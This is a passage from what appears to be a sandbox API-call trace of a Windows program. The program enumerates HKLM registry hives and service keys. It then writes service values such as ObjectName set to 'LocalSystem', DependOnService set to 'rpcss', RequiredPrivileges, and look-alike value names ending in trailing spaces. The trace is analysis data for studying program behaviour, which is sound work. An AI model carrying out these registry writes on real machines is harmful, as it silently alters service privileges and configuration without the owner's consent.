hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0258.889] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0258.889] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0258.889] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0258.889] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0258.889] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0258.889] RegCloseKey (hKey=0x80000002) returned 0x0 [0258.890] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0258.890] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0258.890] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0258.890] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0258.890] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0258.890] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0258.890] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0258.890] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0258.890] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0258.890] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0258.890] RegCloseKey (hKey=0xc4) returned 0x0 [0258.890] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0258.890] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0258.891] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0258.891] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0258.891] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0258.891] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0258.891] RegCloseKey (hKey=0x148) returned 0x0 [0258.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0258.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0258.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0258.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0258.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0258.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0258.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0258.891] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0258.892] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0258.892] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.892] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.892] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.892] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.892] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.892] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.893] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.893] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.893] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.893] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.893] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.893] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.893] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.893] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.893] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.893] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0258.894] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0258.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0258.894] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0258.941] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0258.941] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.941] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0258.941] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0258.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0258.942] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0258.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46e8 [0258.942] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0258.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46a0 [0258.942] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d358 [0258.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4658 [0258.942] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0258.942] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0258.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f45c8 [0258.942] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0258.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4580 [0258.942] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0258.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4538 [0258.942] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0258.942] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0258.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44a8 [0258.943] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0258.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4460 [0258.943] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0258.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0258.943] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0258.943] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157010 [0258.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0258.943] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157020 [0258.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0258.943] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0258.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0258.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0258.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0258.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0258.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0258.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0258.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0258.944] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0258.944] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0258.944] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0258.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0258.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0258.944] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0258.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0258.944] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3f8 [0258.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0258.944] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0258.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0258.944] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0258.944] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3e8 [0258.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0258.944] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0258.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0258.945] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0258.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0258.945] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0258.945] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0258.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0258.945] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0258.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0258.945] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0258.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0258.945] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0258.945] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0258.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0258.945] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0258.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0258.945] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0258.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0258.946] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0258.946] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0258.946] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0258.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0258.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0258.946] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 